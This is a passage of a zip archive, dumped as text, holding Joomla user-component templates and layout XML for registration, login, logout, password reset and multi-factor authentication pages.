                <a href="<?php echo Route::_('index.php?option=com_users&task=methods.disable&' . Factory::getApplication()->getFormToken() . '=1' . ($this->returnURL ? '&returnurl=' . $this->escape(urlencode($this->returnURL)) : '') . '&user_id=' . $this->user->id) ?>"
                   class="btn btn-danger btn-sm">
                    <?php echo Text::_('COM_USERS_MFA_LIST_REMOVEALL'); ?>
                </a>
            </div>
        <?php endif; ?>
    </div>

    <?php if (!count($this->methods)) : ?>
        <div id="com-users-methods-list-instructions" class="alert alert-info mt-2">
            <span class="icon icon-info-circle" aria-hidden="true"></span>
            <?php echo Text::_('COM_USERS_MFA_LIST_INSTRUCTIONS'); ?>
        </div>
    <?php elseif ($this->isMandatoryMFASetup) : ?>
        <div class="alert alert-info my-3">
            <h3 class="alert-heading">
                <?php echo Text::_('COM_USERS_MFA_MANDATORY_NOTICE_HEAD') ?>
            </h3>
            <p>
                <?php echo Text::_('COM_USERS_MFA_MANDATORY_NOTICE_BODY') ?>
            </p>
        </div>
    <?php endif ?>

    <?php $this->setLayout('list');
    echo $this->loadTemplate(); ?>
</div>
PK���\�"���	�	'com_users/tmpl/registration/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-users-registration registration">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1><?php echo $this->escape($this->params->get('page_heading')); ?></h1>
        </div>
    <?php endif; ?>

    <form id="member-registration" action="<?php echo Route::_('index.php?option=com_users&task=registration.register'); ?>" method="post" class="com-users-registration__form form-validate" enctype="multipart/form-data">
        <?php // Iterate through the form fieldsets and display each one. ?>
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <?php if ($fieldset->name === 'captcha' && $this->captchaEnabled) : ?>
                <?php continue; ?>
            <?php endif; ?>
            <?php $fields = $this->form->getFieldset($fieldset->name); ?>
            <?php if (count($fields)) : ?>
                <fieldset>
                    <?php // If the fieldset has a label set, display it as the legend. ?>
                    <?php if (isset($fieldset->label)) : ?>
                        <legend><?php echo Text::_($fieldset->label); ?></legend>
                    <?php endif; ?>
                    <?php echo $this->form->renderFieldset($fieldset->name); ?>
                </fieldset>
            <?php endif; ?>
        <?php endforeach; ?>
        <?php if ($this->captchaEnabled) : ?>
            <?php echo $this->form->renderFieldset('captcha'); ?>
        <?php endif; ?>
        <div class="com-users-registration__submit control-group">
            <div class="controls">
                <button type="submit" class="com-users-registration__register btn btn-primary validate">
                    <?php echo Text::_('JREGISTER'); ?>
                </button>
                <input type="hidden" name="option" value="com_users">
                <input type="hidden" name="task" value="registration.register">
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
PK���\ݪ@�=='com_users/tmpl/registration/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_REGISTRATION_VIEW_DEFAULT_TITLE" option="COM_USERS_REGISTRATION_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Registration_Form"
		/>
		<message>
			<![CDATA[COM_USERS_REGISTRATION_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
PK���\OhQC(com_users/tmpl/registration/complete.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div class="com-users-registration-complete registration-complete">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    <?php endif; ?>
</div>
PK���\F�u�
�
'com_users/tmpl/login/default_logout.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Users\Site\View\Login\HtmlView $this */
?>
<div class="com-users-logout logout">
    <?php if ($this->params->get('show_page_heading')) : ?>
    <div class="page-header">
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    </div>
    <?php endif; ?>

    <?php if (($this->params->get('logoutdescription_show') == 1 && str_replace(' ', '', $this->params->get('logout_description', '')) != '') || $this->params->get('logout_image') != '') : ?>
        <div class="com-users-logout__description logout-description">
    <?php endif; ?>

    <?php if ($this->params->get('logoutdescription_show') == 1) : ?>
        <?php echo $this->params->get('logout_description'); ?>
    <?php endif; ?>

    <?php if ($this->params->get('logout_image') != '') : ?>
        <?php echo HTMLHelper::_('image', $this->params->get('logout_image'), empty($this->params->get('logout_image_alt')) && empty($this->params->get('logout_image_alt_empty')) ? false : $this->params->get('logout_image_alt'), ['class' => 'com-users-logout__image thumbnail float-end logout-image']); ?>
    <?php endif; ?>

    <?php if (($this->params->get('logoutdescription_show') == 1 && str_replace(' ', '', $this->params->get('logout_description', '')) != '') || $this->params->get('logout_image') != '') : ?>
        </div>
    <?php endif; ?>

    <form action="<?php echo Route::_('index.php?option=com_users&task=user.logout'); ?>" method="post" class="com-users-logout__form form-horizontal well">
        <div class="com-users-logout__submit control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary">
                    <span class="icon-backward-2 icon-white" aria-hidden="true"></span>
                    <?php echo Text::_('JLOGOUT'); ?>
                </button>
            </div>
        </div>
        <?php if ($this->params->get('logout_redirect_url')) : ?>
            <input type="hidden" name="return" value="<?php echo base64_encode($this->params->get('logout_redirect_url', $this->form->getValue('return', null, ''))); ?>">
        <?php else : ?>
            <input type="hidden" name="return" value="<?php echo base64_encode($this->params->get('logout_redirect_menuitem', $this->form->getValue('return', null, ''))); ?>">
        <?php endif; ?>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
PK���\�x|�[[&com_users/tmpl/login/default_login.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Users\Site\View\Login\HtmlView $cookieLogin */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$usersConfig = ComponentHelper::getParams('com_users');

?>
<div class="com-users-login login">
    <?php if ($this->params->get('show_page_heading')) : ?>
    <div class="page-header">
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    </div>
    <?php endif; ?>

    <?php if (($this->params->get('logindescription_show') == 1 && str_replace(' ', '', $this->params->get('login_description', '')) != '') || $this->params->get('login_image') != '') : ?>
    <div class="com-users-login__description login-description">
    <?php endif; ?>

        <?php if ($this->params->get('logindescription_show') == 1) : ?>
            <?php echo $this->params->get('login_description'); ?>
        <?php endif; ?>

        <?php if ($this->params->get('login_image') != '') : ?>
            <?php echo HTMLHelper::_('image', $this->params->get('login_image'), empty($this->params->get('login_image_alt')) && empty($this->params->get('login_image_alt_empty')) ? false : $this->params->get('login_image_alt'), ['class' => 'com-users-login__image login-image']); ?>
        <?php endif; ?>

    <?php if (($this->params->get('logindescription_show') == 1 && str_replace(' ', '', $this->params->get('login_description', '')) != '') || $this->params->get('login_image') != '') : ?>
    </div>
    <?php endif; ?>

    <form action="<?php echo Route::_('index.php?option=com_users&task=user.login'); ?>" method="post" class="com-users-login__form form-validate form-horizontal well" id="com-users-login__form">

        <fieldset>
            <?php echo $this->form->renderFieldset('credentials', ['class' => 'com-users-login__input']); ?>

            <?php if (PluginHelper::isEnabled('system', 'remember')) : ?>
                <div class="com-users-login__remember">
                    <div class="form-check">
                        <input class="form-check-input" id="remember" type="checkbox" name="remember" value="yes">
                        <label class="form-check-label" for="remember">
                            <?php echo Text::_('COM_USERS_LOGIN_REMEMBER_ME'); ?>
                        </label>
                    </div>
                </div>
            <?php endif; ?>

            <?php foreach ($this->extraButtons as $button) :
                $dataAttributeKeys = array_filter(array_keys($button), function ($key) {
                    return substr($key, 0, 5) == 'data-';
                });
                ?>
                <div class="com-users-login__submit control-group">
                    <div class="controls">
                        <button type="button"
                                class="btn btn-secondary w-100 <?php echo $button['class'] ?? '' ?>"
                                <?php foreach ($dataAttributeKeys as $key) : ?>
                                    <?php echo $key ?>="<?php echo $button[$key] ?>"
                                <?php endforeach; ?>
                                <?php if ($button['onclick']) : ?>
                                onclick="<?php echo $button['onclick'] ?>"
                                <?php endif; ?>
                                title="<?php echo Text::_($button['label']) ?>"
                                id="<?php echo $button['id'] ?>"
                        >
                            <?php if (!empty($button['icon'])) : ?>
                                <span class="<?php echo $button['icon'] ?>"></span>
                            <?php elseif (!empty($button['image'])) : ?>
                                <?php echo HTMLHelper::_('image', $button['image'], Text::_($button['tooltip'] ?? ''), [
                                    'class' => 'icon',
                                ], true) ?>
                            <?php elseif (!empty($button['svg'])) : ?>
                                <?php echo $button['svg']; ?>
                            <?php endif; ?>
                            <?php echo Text::_($button['label']) ?>
                        </button>
                    </div>
                </div>
            <?php endforeach; ?>

            <div class="com-users-login__submit control-group">
                <div class="controls">
                    <button type="submit" class="btn btn-primary">
                        <?php echo Text::_('JLOGIN'); ?>
                    </button>
                </div>
            </div>

            <?php $return = $this->form->getValue('return', '', $this->params->get('login_redirect_url', $this->params->get('login_redirect_menuitem', ''))); ?>
            <input type="hidden" name="return" value="<?php echo base64_encode($return); ?>">
            <?php echo HTMLHelper::_('form.token'); ?>
        </fieldset>
    </form>
    <div class="com-users-login__options list-group">
        <a class="com-users-login__reset list-group-item" href="<?php echo Route::_('index.php?option=com_users&view=reset'); ?>">
            <?php echo Text::_('COM_USERS_LOGIN_RESET'); ?>
        </a>
        <a class="com-users-login__remind list-group-item" href="<?php echo Route::_('index.php?option=com_users&view=remind'); ?>">
            <?php echo Text::_('COM_USERS_LOGIN_REMIND'); ?>
        </a>
        <?php if ($usersConfig->get('allowUserRegistration')) : ?>
            <a class="com-users-login__register list-group-item" href="<?php echo Route::_('index.php?option=com_users&view=registration'); ?>">
                <?php echo Text::_('COM_USERS_LOGIN_REGISTER'); ?>
            </a>
        <?php endif; ?>
    </div>
</div>
PK���\���Nnn com_users/tmpl/login/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var \Joomla\Component\Users\Site\View\Login\HtmlView $this */

$cookieLogin = $this->user->get('cookieLogin');

if (!empty($cookieLogin) || $this->user->get('guest')) {
    // The user is not logged in or needs to provide a password.
    echo $this->loadTemplate('login');
} else {
    // The user is already logged in.
    echo $this->loadTemplate('logout');
}
PK���\Xb

�� com_users/tmpl/login/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_LOGIN_VIEW_DEFAULT_TITLE" option="COM_USERS_LOGIN_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Login_Form"
		/>
		<message>
			<![CDATA[COM_USERS_LOGIN_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic" addruleprefix="Joomla\Component\Users\Site\Rule" label="COM_MENUS_BASIC_FIELDSET_LABEL">
			<fieldset name="login" label="COM_USERS_FIELD_OPTIONS_LOGIN">
				<field
					name="loginredirectchoice"
					type="radio"
					label="COM_USERS_FIELD_LOGIN_REDIRECT_CHOICE_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					>
					<option value="0">COM_USERS_FIELD_LOGIN_URL</option>
					<option value="1">COM_USERS_FIELD_LOGIN_MENUITEM</option>
				</field>

				<field
					name="login_redirect_url"
					type="text"
					label="JFIELD_LOGIN_REDIRECT_URL_LABEL"
					description="JFIELD_LOGIN_REDIRECT_URL_DESC"
					validate="LoginUniqueField"
					field="login_redirect_menuitem"
					hint="COM_USERS_FIELD_LOGIN_REDIRECT_PLACEHOLDER"
					message="COM_USERS_FIELD_LOGIN_REDIRECT_ERROR"
					showon="loginredirectchoice:0"
				/>

				<field
					name="login_redirect_menuitem"
					type="modal_menu"
					label="COM_USERS_FIELD_LOGIN_REDIRECTMENU_LABEL"
					description="COM_USERS_FIELD_LOGIN_REDIRECTMENU_DESC"
					disable="separator,alias,heading,url"
					showon="loginredirectchoice:1"
					select="true"
					new="true"
					edit="true"
					clear="true"
					>
					<option value="">JOPTION_SELECT_MENU</option>
				</field>

				<field
					name="logindescription_show"
					type="list"
					label="JFIELD_BASIC_LOGIN_DESCRIPTION_SHOW_LABEL"
					default="1"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="login_description"
					type="textarea"
					label="JFIELD_BASIC_LOGIN_DESCRIPTION_LABEL"
					rows="3"
					cols="40"
					filter="safehtml"
					showon="logindescription_show:1"
				/>

				<field
					name="login_image"
					type="media"
					schemes="http,https,ftp,ftps,data,file"
					validate="url"
					relative="true"
					label="JFIELD_LOGIN_IMAGE_LABEL"
				/>

				<field
					name="login_image_alt"
					type="text"
					label="COM_USERS_FIELD_IMAGE_ALT_LABEL"
				/>

				<field
					name="login_image_alt_empty"
					type="checkbox"
					label="COM_USERS_FIELD_IMAGE_ALT_EMPTY_LABEL"
					description="COM_USERS_FIELD_IMAGE_ALT_EMPTY_DESC"
				/>
			</fieldset>

			<fieldset name="logout" label="COM_USERS_FIELD_OPTIONS_LOGOUT">
				<field
					name="logoutredirectchoice"
					type="radio"
					label="COM_USERS_FIELD_LOGOUT_REDIRECT_CHOICE_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					>
					<option value="0">COM_USERS_FIELD_LOGIN_URL</option>
					<option value="1">COM_USERS_FIELD_LOGIN_MENUITEM</option>
				</field>

				<field
					name="logout_redirect_url"
					type="text"
					label="JFIELD_LOGOUT_REDIRECT_URL_LABEL"
					field="logout_redirect_menuitem"
					validate="LogoutUniqueField"
					hint="COM_USERS_FIELD_LOGIN_REDIRECT_PLACEHOLDER"
					message="COM_USERS_FIELD_LOGOUT_REDIRECT_ERROR"
					showon="logoutredirectchoice:0"
				/>

				<field
					name="logout_redirect_menuitem"
					type="modal_menu"
					label="COM_USERS_FIELD_LOGOUT_REDIRECTMENU_LABEL"
					description="COM_USERS_FIELD_LOGOUT_REDIRECTMENU_DESC"
					disable="separator,alias,heading,url"
					showon="logoutredirectchoice:1"
					select="true"
					new="true"
					edit="true"
					clear="true"
					>
					<option value="">JOPTION_SELECT_MENU</option>
				</field>

				<field
					name="logoutdescription_show"
					type="list"
					label="JFIELD_BASIC_LOGOUT_DESCRIPTION_SHOW_LABEL"
					default="1"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="logout_description"
					type="textarea"
					label="JFIELD_BASIC_LOGOUT_DESCRIPTION_LABEL"
					rows="3"
					cols="40"
					filter="safehtml"
					showon="logoutdescription_show:1"
				/>

				<field
					name="logout_image"
					type="media"
					schemes="http,https,ftp,ftps,data,file"
					validate="url"
					relative="true"
					label="JFIELD_LOGOUT_IMAGE_LABEL"
				/>

				<field
					name="logout_image_alt"
					type="text"
					label="COM_USERS_FIELD_IMAGE_ALT_LABEL"
				/>

				<field
					name="logout_image_alt_empty"
					type="checkbox"
					label="COM_USERS_FIELD_IMAGE_ALT_EMPTY_LABEL"
					description="COM_USERS_FIELD_IMAGE_ALT_EMPTY_DESC"
				/>
			</fieldset>
		</fieldset>
	</fields>
</metadata>
PK���\�C�|��com_users/tmpl/login/logout.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_LOGOUT_VIEW_DEFAULT_TITLE" option="COM_USERS_LOGOUT_VIEW_DEFAULT_OPTION">
		<help key = "Menu_Item:_Logout"/>
		<message>
			<![CDATA[COM_USERS_LOGOUT_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">
			<field
				name="task"
				type="hidden"
				default="user.menulogout"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="COM_MENUS_BASIC_FIELDSET_LABEL">
			<field
				name="logout"
				type="modal_menu"
				label="JFIELD_LOGOUT_REDIRECT_PAGE_LABEL"
				description="JFIELD_LOGOUT_REDIRECT_PAGE_DESC"
				disable="separator,alias,heading,url"
				select="true"
				new="true"
				edit="true"
				clear="true"
				>
				<option value="">JOPTION_SELECT_MENU</option>
			</field>
		</fieldset>
	</fields>
</metadata>
PK���\�S���� com_users/tmpl/reset/confirm.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-users-reset-confirm reset-confirm">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>
    <form action="<?php echo Route::_('index.php?option=com_users&task=reset.confirm'); ?>" method="post" class="com-users-reset-confirm__form form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <fieldset>
                <?php if (isset($fieldset->label)) : ?>
                    <legend><?php echo Text::_($fieldset->label); ?></legend>
                <?php endif; ?>
                <?php echo $this->form->renderFieldset($fieldset->name); ?>
            </fieldset>
        <?php endforeach; ?>
        <div class="com-users-reset-confirm__submit control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate">
                    <?php echo Text::_('JSUBMIT'); ?>
                </button>
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
PK���\ؑ����!com_users/tmpl/reset/complete.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-users-reset-complete reset-complete">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>
    <form action="<?php echo Route::_('index.php?option=com_users&task=reset.complete'); ?>" method="post" class="com-users-reset-complete__form form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <fieldset>
                <?php if (isset($fieldset->label)) : ?>
                    <legend><?php echo Text::_($fieldset->label); ?></legend>
                <?php endif; ?>
                <?php echo $this->form->renderFieldset($fieldset->name); ?>
            </fieldset>
        <?php endforeach; ?>
        <div class="com-users-reset-complete__submit control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate">
                    <?php echo Text::_('JSUBMIT'); ?>
                </button>
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
PK���\�?w%% com_users/tmpl/reset/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_RESET_VIEW_DEFAULT_TITLE" option="COM_USERS_RESET_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Password_Reset"
		/>
		<message>
			<![CDATA[COM_USERS_RESET_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
PK���\������ com_users/tmpl/reset/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-users-reset reset">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>
    <form id="user-registration" action="<?php echo Route::_('index.php?option=com_users&task=reset.request'); ?>" method="post" class="com-users-reset__form form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <fieldset>
                <?php if (isset($fieldset->label)) : ?>
                    <legend><?php echo Text::_($fieldset->label); ?></legend>
                <?php endif; ?>
                <?php echo $this->form->renderFieldset($fieldset->name); ?>
            </fieldset>
        <?php endforeach; ?>
        <div class="com-users-reset__submit control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate">
                    <?php echo Text::_('JSUBMIT'); ?>
                </button>
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
PK���\x����!com_users/tmpl/captive/select.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Prevent direct access
defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Users\Site\View\Captive\HtmlView;

/** @var HtmlView $this */

$shownMethods = [];

?>
<div id="com-users-select">
    <h2 id="com-users-select-heading">
        <?php echo Text::_('COM_USERS_MFA_SELECT_PAGE_HEAD'); ?>
    </h2>
    <div id="com-users-select-information">
        <p>
            <?php echo Text::_('COM_USERS_LBL_SELECT_INSTRUCTIONS'); ?>
        </p>
    </div>

    <div class="com-users-select-methods p-2">
        <?php foreach ($this->records as $record) :
            if (!array_key_exists($record->method, $this->mfaMethods) && ($record->method != 'backupcodes')) {
                continue;
            }

            $allowEntryBatching = isset($this->mfaMethods[$record->method]) ? $this->mfaMethods[$record->method]['allowEntryBatching'] : false;

            if ($this->allowEntryBatching) {
                if ($allowEntryBatching && in_array($record->method, $shownMethods)) {
                    continue;
                }
                $shownMethods[] = $record->method;
            }

            $methodName = $this->getModel()->translateMethodName($record->method);
            ?>
        <a class="com-users-method p-2 border-top border-dark bg-light d-flex flex-row flex-wrap justify-content-start align-items-center text-decoration-none gap-2 text-body"
           href="<?php echo Route::_('index.php?option=com_users&view=captive&record_id=' . $record->id)?>">
            <img src="<?php echo Uri::root() . $this->getModel()->getMethodImage($record->method) ?>"
                 alt="<?php echo $this->escape(strip_tags($record->title)) ?>"
                 class="com-users-method-image img-fluid" />
            <?php if (!$this->allowEntryBatching || !$allowEntryBatching) : ?>
                <span class="com-users-method-title flex-grow-1 fs-5 fw-bold">
                    <?php if ($record->method === 'backupcodes') : ?>
                        <?php echo $record->title ?>
                    <?php else : ?>
                        <?php echo $this->escape($record->title) ?>
                    <?php endif; ?>
                </span>
                <small class="com-users-method-name text-muted">
                    <?php echo $methodName ?>
                </small>
            <?php else : ?>
                <span class="com-users-method-title flex-grow-1 fs-5 fw-bold">
                    <?php echo $methodName ?>
                </span>
                <small class="com-users-method-name text-muted">
                    <?php echo $methodName ?>
                </small>
            <?php endif; ?>
        </a>
        <?php endforeach; ?>
    </div>
</div>
PK���\\�W��"com_users/tmpl/captive/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Users\Site\Model\CaptiveModel;
use Joomla\Component\Users\Site\View\Captive\HtmlView;
use Joomla\Utilities\ArrayHelper;

/**
 * @var HtmlView     $this  View object
 * @var CaptiveModel $model The model
 */
$model = $this->getModel();

$this->document->getWebAssetManager()
    ->useScript('com_users.two-factor-focus');

?>
<div class="users-mfa-captive card card-body">
    <h2 id="users-mfa-title">
        <?php if (!empty($this->renderOptions['help_url'])) : ?>
            <span class="float-end">
        <a href="<?php echo $this->renderOptions['help_url'] ?>"
                class="btn btn-sm btn-secondary"
                target="_blank"
        >
            <span class="icon icon-question-sign" aria-hidden="true"></span>
            <span class="visually-hidden"><?php echo Text::_('JHELP') ?></span>
        </a>
        </span>
        <?php endif;?>
        <?php if (!empty($this->title)) : ?>
            <?php echo $this->title ?> <small> &ndash;
        <?php endif; ?>
        <?php if (!$this->allowEntryBatching) : ?>
            <?php echo $this->escape($this->record->title) ?>
        <?php else : ?>
            <?php echo $this->escape($this->getModel()->translateMethodName($this->record->method)) ?>
        <?php endif; ?>
        <?php if (!empty($this->title)) : ?>
        </small>
        <?php endif; ?>
    </h2>

    <?php if ($this->renderOptions['pre_message']) : ?>
        <div class="users-mfa-captive-pre-message text-muted mb-3">
            <?php echo $this->renderOptions['pre_message'] ?>
        </div>
    <?php endif; ?>

    <form action="<?php echo Route::_('index.php?option=com_users&task=captive.validate&record_id=' . ((int) $this->record->id)) ?>"
            id="users-mfa-captive-form"
            method="post"
            class="form-horizontal"
    >
        <?php echo HTMLHelper::_('form.token') ?>

        <div id="users-mfa-captive-form-method-fields">
            <?php if ($this->renderOptions['field_type'] == 'custom') : ?>
                <?php echo $this->renderOptions['html']; ?>
            <?php endif; ?>
            <div class="row mb-3">
                <?php if ($this->renderOptions['label']) : ?>
                <label for="users-mfa-code" class="col-sm-3 col-form-label">
                    <?php echo $this->renderOptions['label'] ?>
                </label>
                <?php endif; ?>
                <div class="col-sm-9 <?php echo $this->renderOptions['label'] ? '' : 'offset-sm-3' ?>">
                    <?php
                    $attributes = array_merge(
                        [
                            'type'        => $this->renderOptions['input_type'],
                            'name'        => 'code',
                            'value'       => '',
                            'placeholder' => $this->renderOptions['placeholder'] ?? null,
                            'id'          => 'users-mfa-code',
                            'class'       => 'form-control'
                        ],
                        $this->renderOptions['input_attributes']
                    );

                    if (strpos($attributes['class'], 'form-control') === false) {
                        $attributes['class'] .= ' form-control';
                    }
                    ?>
                    <input <?php echo ArrayHelper::toString($attributes) ?>>
                </div>
            </div>
        </div>

        <div id="users-mfa-captive-form-standard-buttons" class="row my-3">
            <div class="col-sm-9 offset-sm-3">
                <button class="btn btn-primary me-3 <?php echo $this->renderOptions['submit_class'] ?>"
                        id="users-mfa-captive-button-submit"
                        style="<?php echo $this->renderOptions['hide_submit'] ? 'display: none' : '' ?>"
                        type="submit">
                    <span class="<?php echo $this->renderOptions['submit_icon'] ?>" aria-hidden="true"></span>
                    <?php echo Text::_($this->renderOptions['submit_text']); ?>
                </button>

                <a href="<?php echo Route::_('index.php?option=com_users&task=user.logout&' . Factory::getApplication()->getFormToken() . '=1') ?>"
                   class="btn btn-danger btn-sm" id="users-mfa-captive-button-logout">
                    <span class="icon icon-lock" aria-hidden="true"></span>
                    <?php echo Text::_('COM_USERS_MFA_LOGOUT'); ?>
                </a>

                <?php if (count($this->records) > 1) : ?>
                    <div id="users-mfa-captive-form-choose-another" class="my-3">
                        <a href="<?php echo Route::_('index.php?option=com_users&view=captive&task=select') ?>">
                            <?php echo Text::_('COM_USERS_MFA_USE_DIFFERENT_METHOD'); ?>
                        </a>
                    </div>
                <?php endif; ?>
            </div>
        </div>
    </form>

    <?php if ($this->renderOptions['post_message']) : ?>
        <div class="users-mfa-captive-post-message">
            <?php echo $this->renderOptions['post_message'] ?>
        </div>
    <?php endif; ?>

</div>
PK���\ps��)com_users/tmpl/profile/default_params.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

?>
<?php $fields = $this->form->getFieldset('params'); ?>
<?php if (count($fields)) : ?>
    <fieldset id="users-profile-custom" class="com-users-profile__params">
        <legend><?php echo Text::_('COM_USERS_SETTINGS_FIELDSET_LABEL'); ?></legend>
        <dl class="dl-horizontal">
